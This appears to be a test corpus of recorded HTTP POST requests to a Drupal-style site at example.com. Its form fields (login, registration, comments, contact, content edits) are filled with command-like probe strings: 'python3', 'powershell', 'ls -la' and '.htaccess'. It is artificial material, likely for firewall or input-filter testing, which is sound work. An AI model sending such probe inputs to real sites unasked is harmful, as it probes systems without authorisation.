"changed=1794254564&form_build_id=form-Gai5cby_kd0hTGnntBqbNd5FaphxmrNhVzXlBr_tW4A&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=python3%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-ehJvk05FGy45Nhp20LoEYUQE7Wt_-2JzRjizP26CgBY&form_id=comment_comment_form&name=Visitor&mail=python3%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-V1VVXP408QEmGCpsAPuR7RrJ0x2qvE8oV4e9lHH3R1U&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=python3&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-G9_Pxre_HbKdcBQeFuUFlMVddf4PZbL0v0QwFrK_5ec&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-5F3fqn6-aOxkyrQTgkFt9ZtfP3Ix-3gJ94t-_ZxMfT8&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=python3&message%5B0%5D%5Bvalue%5D=python3&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=python3&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-a6fa_5ka4mxKF80GbK2KU-fFVk6YK_XMB-Baww5X2Mk&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=python3&description%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254830&form_build_id=form-td_F60IruKhzivNlc_dSiZNoKkTqMsj6s3fEe0Lzg7c&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=powershell%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-FMTNk8Qw4CcnF2U2FNeC1y2ubUAWj4ZqTNt5qo4BdcA&form_id=comment_comment_form&name=Visitor&mail=powershell%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-dN1wEgo96PQAeyS6hMficsot94rVav-FiCh3v8BMjSU&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=powershell&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-yVUzK5fZVL6jXlfP3oAKsnObRPklHaXJoauKtJIHmtU&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-84jyppK6d-aAyIvGJa7kaD4noEcfMs7RehTSdz4g9EU&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=powershell&message%5B0%5D%5Bvalue%5D=powershell&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=powershell&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-3J5iR3r69AeW5RRi7RAx282fj3VU6h2J4PR6fP1YG5Q&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=powershell&description%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254831&form_build_id=form-yZIqKDuxmTpDq6CZIqWd8lBuwB_iNnCE2_TIn2TM-ME&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=ls--la%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-4zQ6mnIGEbsODUSaNqxYs--JXApqfXwTdt-VWSfbkTY&form_id=comment_comment_form&name=Visitor&mail=ls--la%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-TGTkV0e75D04o_e7Alk-EDJwtT6xg8vwAuewAeO0slI&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=ls+-la&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-g_jcUYiAO5qPeIzkdy4NL2wYOm1QSCLNTo4lWHyHeQc&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-FtmG7RAUBVZD0DWSIEQLzHVohhCrTZP4KE9v1XZcvHc&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=ls+-la&message%5B0%5D%5Bvalue%5D=ls+-la&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=ls+-la&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-GCvKEgdFSLrzi6u3mm9ubynaYpMehuF5BgJowsJqqzQ&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=ls+-la&description%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254832&form_build_id=form-Mpy8lMgtarQcYuq-z3AIsA18G7GRmL90SxJ8sikBeGw&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=.htaccess%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-iQ-V_uMEqMD15H7SP4KXcSTRaeDo-GxWR364dg8OVnM&form_id=comment_comment_form&name=Visitor&mail=.htaccess%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-1QV5rhM_GiS-l8JbBv2oD6Vbj2aWbjbakI_hPZmwX8U&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=.htaccess&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-TQp9Y5AoKo7vgOjxbDPLFi6UWKCEwsDCZDAtCLyt0K0&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-QfBJ5oB-NllXlisHvYwgw2D26OFMUStRL1hKwmZneIM&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=.htaccess&message%5B0%5D%5Bvalue%5D=.htaccess&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=.htaccess&pass=example-password-1&op=Log+in"}
